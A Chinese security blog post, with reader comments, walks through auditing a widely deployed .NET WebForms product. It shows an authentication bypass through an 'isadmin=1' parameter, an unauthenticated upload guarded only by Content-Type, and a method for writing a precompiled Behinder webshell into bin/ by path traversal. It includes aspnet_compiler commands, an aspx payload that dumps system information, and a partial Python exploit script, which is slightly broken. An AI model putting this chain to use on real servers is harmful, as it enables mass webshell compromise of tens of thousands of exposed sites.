审计从0到Exploit落地

Author:远海@米斯特安全

一.信息收集

(1)已知功能

image.png
目标主页只提供了两个功能

  1. 用户登录
  2. 忘记密码

(2)指纹信息

image.png
看了下,网站由.net开发,使用的webforms。
image.png
但是这里显示了Web服务器是Nginx,手动探测。得知该系统由Nginx反向代理出来的。且映射路径为/WebSite/。

(3)厂商信息

在主页下方发现了该系统的客服专线,使用fofa搜索指定内容,查找同类系统
image.png
根据相关信息,搜索出来了8w多个站点。。。使用量还挺大的
image.png
在某处发现了官方演示站点。

为: XX软件股份有限公司

信息收集到此结束。

二.初步打点

根据上方信息,开始初步探测。因为该系统是使用.Net开发的。且用的IIS服务器,那么可以先进行一波备份探测。

使用工具提取fofa结果。
image.png
废话少说,直接上御剑(老品牌,值得信赖)

因为目标系统是Nginx反代出来的(应该是配套的安装包)。所以在扫描的时候需要加上映射路径

如/WebSite/web.rar

针对这种使用量特别大的系统,扫备份是一个不错的选择,几万个站点,总会有那么一两个运维粗心大意。

一顿操作后。。。
image.png
发现并没有什么备份文件。看来这套系统应该是集成好了的(类似于安装包,一键部署)

既然是安装包,且知道了系统开发商,那么可以尝试搜一下百度云。
image.png

果然有。。。

既然是安装包,那么这里可以本地搭建环境测试了。

三.环境搭建&漏洞挖掘

在本地搭建好相关环境后,开始安装对应程序

环境:

Vmware  IIS 8.0  SQLServer 2008

image.png
由于是.NET程序,这里直接切到站点的根目录。
image.png
.NET程序在发布时,会编译后在发布。所以,我们只需要对bin目录下的dll程序集进行审计即可。

但是这里我看了下目录下的文件。

image.png
image.png

该站点使用了预编译。。。。且在根目录下的PrecompiledApp.config 中的updatable值设置成了false

(当updatable为false时,.NET将不再更新预编译文件的内容,简单的来说就是上传的aspx文件未经编译,不能正常处理)

这个问题先放一边了。。等挖到洞了在来琢磨这个问题。

先在根目录下搜索一些带有敏感词的文件,如: upload,File,Download。import 等关键词
image.png

开始对这几个文件进行审计。

在某个接口文件中发现了任意文件上传漏洞
image.png

该文件从获取文件流-》SaveAs存储。过程中并没有进行任何效验,且文件名可控。直接获取的FileName属性。

但是这里仔细一看,顶端居然有一个效验。。
image.png
直接GG,绕不动,绕不动。。。。。。

这种需要登录过后的洞,基本没啥用。。。是男人就得挖未授权!

最终在某处aspx文件中发现了一处文件上传漏洞。
image.png
这里虽然做了效验,但是做的不完全,只是对上传文件的Content-Type做了效验,只要在上传的时候更改一下Content-Type为image/gif 图片格式即可。

由于是预编译文件,文件的最终路径由AppRelativeVirtualPath 参数定义

image.png
为:/import/file/Upload.aspx

直接在搭好的环境中测试。

在虚拟机中访问AppRelativeVirtualPath 定义的路径。

image.png

这里居然提示了未登录,仔细看了下文件的处理逻辑,并没有进行身份验证等操作。

那么肯定是做了某些效验。

四.Global.asax 中的 Bypass

由于是Webforms。那么从开发的角度来看,验证一般都是在global.asax中。
image.png

上图可以看到,global.asax中创建了多个事件处理器。其中Application_PreRequestHandlerExecute 的作用就是当用户访问某个页面或者webservice(asmx)文件时。对该请求进行处理后放行。可以把他当作一个拦截器。一般都是在这个方法中效验用户是否处于登录状态。

image.png

大概逻辑就是获取context.Request.FilePath;的值,也就是请求文件所处的路径。如果该路径是以jpg,bmp,gif,png,js结尾即可放行。

且下面定义了两个aspx文件。只有当截取出来的路径等于login.aspx或者forgetpassword.aspx时。才可以放行访问。否则就会提示用户未登录

111.jpg
FilePath对应的是IIS的虚拟路径

如 URL http://localhost/1/index.html/pathinfo
FilePath = /1/index.html

这里是无法绕过的。但是这里注意到了这么一行代码:
image.png
以GET形式接收一个参数为isadmin。如果isadmin 为1 那么bool值flag参数为True。

且在进行效验时。

if (flag || a == "login.aspx" || a == "forgetpassword.aspx"){
    return;
}

这里用的时||,只要一方为True,则皆为True。导致权限效验可绕过。

在搭建好的环境中测试。
image.png
并没有弹出未登录的提示,证明成功绕过。根据文件的逻辑,构造好POC。

尝试上传文件。
image.png
在虚拟机中检测文件是否成功上传。
image.png
成功上传,尝试打印系统相关信息。

<%@Page Language="C#"%>
<%

Response.Write(Environment.UserDomainName+'\n'+Environment.UserName+'\n'+Environment.OSVersion);

%>

五.预编译环境下的getshell方法。

image.png

果然还是遇到了上文中所写的预编译问题,由于根目录下的PrecompiledApp.config 中的updatable值设置成了false。导致后面上传的文件无法进行编译。aspx程序无法正常执行。

当然,遇到这种情况,部分环境是可以尝试asp文件进行getshell的。因为asp文件并非.Net处理。由于该系统是自动部署的。可能相关环境也是配套的,试了很多后辍都无法成功getshell。

预编译的原理:

所谓知己知彼,百战不殆。这里我花了10分钟去了解了一下预编译的运作机制。

简单的来说,就是在网站发布时将aspx文件进行编译,转换成dll文件。因为.NET程序在运行时会优先加载bin目录下的程序集

即index.aspx -> /bin/index.dll

在用户访问index.aspx时,则直接由index.dll进行处理。而不是index.aspx。一旦进行预编译后,相关程序会被转换为dll存储在bin目录下。这时候,程序的访问路径和相关逻辑,都被封装成了dll。无论根目录下是否存在index.aspx。都可以正常处理特定路由下的功能。

这里想到了一个方法:

但必须由两个必要条件:

1.文件名可控
2.可以跨目录

既然预编译是将aspx程序提前编译好,那么我们只要满足上面两个条件。自己往bin目录里面写一个已编译的aspx文件不就行了?

具体操作:

使用NET.Framework自带的aspnet_compiler.exe进行编译。

aspnet_compiler.exe默认目录

C:\Windows\Microsoft.NET\Framework64\v2.0.50727

编译

aspnet_compiler -v \ -p (web文件所在目录) (编译后存储目录) -fixednames

这里我使用冰蝎2.0的aspx shell,放在指定目录
image.png
然后运行命令

aspnet_compiler -v \ -p C:\Users\Hai_n1Sdkw\Desktop\bx\server\Wev C:\Users\Hai_n1Sdkw\Desktop\bx\server\Web -fixednames

image.png

编译后的文件存储在bx\server\Web下
这时候shell.aspx已经被编译了
image.png
即使shell.aspx不存在,访问指定路径,也是能正常处理的。

这里主要看bin目录。

生成了两个文件
image.png
.dll 和compiled文件。这就是已经编译好的内容

将dll文件拖入dnspy。
image.png
这里的AppRelativeVirtualPath 就是你shell的地址。这里是根目录下的/shell.aspx。

只需要将这两个文件上传到bin目录下即可。

先直接拖入网站的bin目录中,看看是否可行
image.png
成功getshell。

六.编写Exploit工具

大概的利用思路已经清楚了,那么可以直接编写EXP了。

import requests

def getShell1():
    shell1 = "App_Web_shell.aspx.cdcab7d2.dll"
    F1=open(shell1,'rb')
    uploadFile(url,shell1,F1)
def getShell2():
    shell2 = "shell.aspx.cdcab7d2.compiled"
    F2=open(shell2,'rb')
    uploadFile(url,shell2,F2)

def uploadFile(Adderss,filename,muli):
    multiple_files = [
        ("File1", ("../../../bin/"+filename, getShell2(), "image/jpeg"))]
    reson=requests.post(url=url,files=multiple_files)

本文链接:

https://www.websecuritys.cn/index.php/archives/314/
1 + 4 =
7 评论
    wjChrome 90Windows 10
    2021年05月30日 回复

    师傅的御剑下载地址方便分享一下吗?

      yuanhaiChrome 90OSX
      2021年05月30日 回复

      @wj 不太推荐这个了,误报有点高。可以参考https://github.com/broken5/bscan

    wjChrome 90Windows 10
    2021年05月25日 回复

    师傅挖掘漏洞是喜欢先进行代码审计吗?

      yuanhaiChrome 90OSX
      2021年05月25日 回复

      @wj 有了源代码就不必在黑盒测试上花费大量时间了呀。能更直观的看见漏洞产生的原理

    likeChrome 87Windows 10
    2021年01月23日 回复

    海哥yyds!

    --+qweChrome 87Windows 10
    2021年01月21日 回复

    永远的海神 ヾ(≧∇≦*)ゝ

    --+qweChrome 87Windows 10
    2021年01月21日 回复

    又见远海大师傅 墨宝~~